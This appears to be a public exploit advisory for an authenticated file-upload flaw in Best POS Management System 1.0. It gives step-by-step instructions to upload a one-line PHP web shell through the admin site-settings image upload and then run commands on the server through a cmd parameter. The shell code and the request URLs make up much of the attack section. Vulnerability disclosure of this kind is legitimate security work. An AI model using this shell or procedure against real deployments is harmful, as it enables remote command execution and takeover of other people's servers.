Best POS Management System 1.0 Shell Upload

Best POS Management System version 1.0 suffers from a remote shell upload vulnerability.


SHA-256 | 18380c19144362b994cc7304b96b87275954a1fb405a57ba6bf5c9c56fbabf2d

# Exploit Title: Authenticated Remote Code Execution on File Upload
# Google Dork: NA
# Date: 17/2/2023
# Exploit Author: Ahmed Ismail (@MrOz1l)
# Vendor Homepage:
https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip
# Version: 1.0
# Tested on: Windows 11
# CVE : NA

### Steps to Reproduce

1- Login as Admin Rule

2- Head to " http://localhost/kruxton/index.php?page=site_settings"

3- Try to Upload an image here it will be a shell.php

```

shell.php
``````

<?php system($_GET['cmd']); ?>

4- Head to http://localhost/kruxton/assets/uploads/

5- Access your uploaded Shell
http://localhost/kruxton/assets/uploads/1676627880_shell.png.php?cmd=whoami

Related Posts